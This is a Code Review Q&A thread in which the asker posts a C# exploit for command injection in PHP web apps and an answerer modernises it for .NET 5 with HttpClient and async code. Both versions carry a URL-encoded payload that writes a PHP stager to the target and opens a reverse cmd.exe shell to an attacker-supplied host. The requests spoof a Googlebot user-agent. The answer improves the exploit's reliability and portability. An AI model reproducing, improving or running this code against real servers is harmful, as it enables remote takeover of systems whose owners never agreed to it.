2
\$\begingroup\$

Back in 2016, I wrote a simple C# script that exploits a generic command injection vulnerability on PHP webapps, just for the sake of demonstrating that exploits can be written in .NET languages (due to the perceived lack of exploits written in C#). The script is a bit buggy, but works for PoC purposes. I wrote a blog post (on my old blog) discussing my experience writing this.

So here are some themes regarding feedback that I'm looking for:

  1. This script works as a PoC and functions under certain conditions and assumptions, but crashes when they are not met (iirc if the URL doesn't exist, the script crashes). How would you go about fixing this?
  2. What is my coding style like? Any better ways of writing this out?
  3. If I'm not mistaken, the runtime complexity of this programme is O(n) where "n" is the number of parsed segments of the target URL (correct me if I'm wrong though). Can you recommend any way to optimise the code?

Feel free to throw any feedback my way. The script works in a .NET 4.0 environment and can easily be compiled with csc.

Here is the programme (with some comments stripped out):

using System;
using System.IO;
using System.Net;

class Exploit {

    private const string useragent = "Googlebot/2.1 (+http://www.googlebot.com/bot.html)";

    private static void PrintHelp(){
        Console.WriteLine("=======================================================================");
        Console.WriteLine("= Generic PHP Remote Code Execution Exploit");
        Console.WriteLine("= \Written by Aleksey (github.com/Alekseyyy)");
        Console.WriteLine("= \n= Exploits (windows-based) PHP Remote Code Execution bug to execute");
        Console.WriteLine("= a reverse, simple, interactive connect-back shell.\n= ");
        Console.WriteLine("= Run like: exploit.exe <SCRIPT> <LHOST> <LPORT>");
        Console.WriteLine("= ");
        Console.WriteLine("= \t<SCRIPT> is the vulnerable script (with the parameter)");
        Console.WriteLine("= \t<LHOST> is the IP address (or DNS address) of the machine");
        Console.WriteLine("= \t\trecieving the connect-back shell");
        Console.WriteLine("= \t<LPORT> is the listening port for the connect back shell");
        Console.WriteLine("=======================================================================\n\n");
    }

    public static void Main(string[] args){
        
        if (args.Length != 3) {
            PrintHelp();
            Environment.Exit(-1);
        }

        Console.WriteLine("[*] Building the injection vector...");
        string payload = "%62%6c%61%68%26%65%63%68%6f%20%22%3c%3f%70%68%70%20%24%73%6f%63%6b";
        payload = payload + "%3d%66%73%6f%63%6b%6f%70%65%6e%28%22{0}%22%2c{1}%29%3b%65%78%65";
        payload = payload + "%63%28%22%63%6d%64%2e%65%78%65%22%29%3b%20%3f%3e%22%20%3e%20%73";
        payload = payload + "%74%61%67%65%72%2e%70%68%70";
        string injection = String.Format(payload, args[1], args[2]);

        Console.WriteLine("[*] Sending the exploit...");
        string attack = args[0] + injection;
        WebRequest injectrequest = WebRequest.Create(attack);
        injectrequest.Credentials = CredentialCache.DefaultCredentials;
        ((HttpWebRequest)injectrequest).UserAgent = useragent;
        WebResponse injectresponse = injectrequest.GetResponse();
        if ((((HttpWebResponse)injectresponse).StatusDescription) == "OK") {
            Console.WriteLine("[+] Successful exploitation, you should recieve a shell shortly...");
            Uri parsestageruri = new Uri(args[0]);
            string stager = "http://" + parsestageruri.Authority;
            for (int i = 0; i < parsestageruri.Segments.Length - 1; i++)
                stager = stager + parsestageruri.Segments[i];
            stager = stager + "stager.php";
            WebRequest stagerrequest = WebRequest.Create(stager);
            stagerrequest.Credentials = CredentialCache.DefaultCredentials;
            ((HttpWebRequest)stagerrequest).UserAgent = useragent;
            stagerrequest.GetResponse();
            Environment.Exit(0);
        }
        else {
            Console.WriteLine("[-] Failed to inject 'reverse' shell...");
            Environment.Exit(-1);
        }
    }
}

You can read more about it on my old blog: https://archive.ph/XQXgn

and you can get the full exploit here: https://github.com/Alekseyyy/InfoSec/blob/master/exploits/generic_php_cmdinject.cs

\$\endgroup\$
1
  • 1
    \$\begingroup\$ Yeah @aepot you did. Sorry I'm new to this :P \$\endgroup\$
    – Aleksey
    Jul 2 at 22:47
2
\$\begingroup\$

.NET Framework 4.0 is something ancient. WebRequest is deprecated. async/await now actual for the I/O-bound operations.

Let's update the code.

  • .NET 5
  • HttpClient - asynchronous client to interact with web
  • StringBuilder to build strings faster than concatenate it
  • int-returning Main to pass exit code instead of Environment.Exit
  • async Task Main to use await
  • payload can be a constant
  • args can be merged in a single string.Format
  • throwing Exceptions to indicate a failure
  • correctly using IDisposable objects
using System;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;

class Exploit
{
    private const string userAgent = "Googlebot/2.1 (+http://www.googlebot.com/bot.html)";

    private static void PrintHelp()
    {
        Console.WriteLine("=======================================================================");
        Console.WriteLine("= Generic PHP Remote Code Execution Exploit");
        Console.WriteLine("= Written by Aleksey (github.com/Alekseyyy)");
        Console.WriteLine("= \n= Exploits (windows-based) PHP Remote Code Execution bug to execute");
        Console.WriteLine("= a reverse, simple, interactive connect-back shell.\n= ");
        Console.WriteLine("= Run like: exploit.exe <SCRIPT> <LHOST> <LPORT>");
        Console.WriteLine("= ");
        Console.WriteLine("= \t<SCRIPT> is the vulnerable script (with the parameter)");
        Console.WriteLine("= \t<LHOST> is the IP address (or DNS address) of the machine");
        Console.WriteLine("= \t\trecieving the connect-back shell");
        Console.WriteLine("= \t<LPORT> is the listening port for the connect back shell");
        Console.WriteLine("=======================================================================\n\n");
    }

    public static async Task<int> Main(string[] args)
    {
        if (args.Length != 3)
        {
            PrintHelp();
            return -1;
        }

        Console.WriteLine("[*] Building the injection vector...");
        const string payload = "{0}%62%6c%61%68%26%65%63%68%6f%20%22%3c%3f%70%68%70%20%24%73%6f%63%6b"
            + "%3d%66%73%6f%63%6b%6f%70%65%6e%28%22{1}%22%2c{2}%29%3b%65%78%65"
            + "%63%28%22%63%6d%64%2e%65%78%65%22%29%3b%20%3f%3e%22%20%3e%20%73"
            + "%74%61%67%65%72%2e%70%68%70";
        string attack = string.Format(payload, args[0], args[1], args[2]);

        Console.WriteLine("[*] Sending the exploit...");
        using HttpClient client = new HttpClient(new HttpClientHandler { UseDefaultCredentials = true });
        client.DefaultRequestHeaders.UserAgent.ParseAdd(userAgent);
        try
        {
            StringBuilder sb = new StringBuilder("http://");
            using (var response = await client.GetAsync(attack))
            {
                response.EnsureSuccessStatusCode();
                Console.WriteLine("[+] Successful exploitation, you should recieve a shell shortly...");
                Uri parseStagerUri = new Uri(args[0]);
                sb.Append(parseStagerUri.Authority);
                for (int i = 0; i < parseStagerUri.Segments.Length - 1; i++)
                    sb.Append(parseStagerUri.Segments[i]);
                sb.Append("stager.php");
            }
            using (var response = await client.GetAsync(sb.ToString()))
            {
                return 0;
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine($"[-] Failed to inject 'reverse' shell: {ex.Message}");
            return -1;
        }
    }
}

Now it can be easily compiled and work even on Linux.

\$\endgroup\$

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.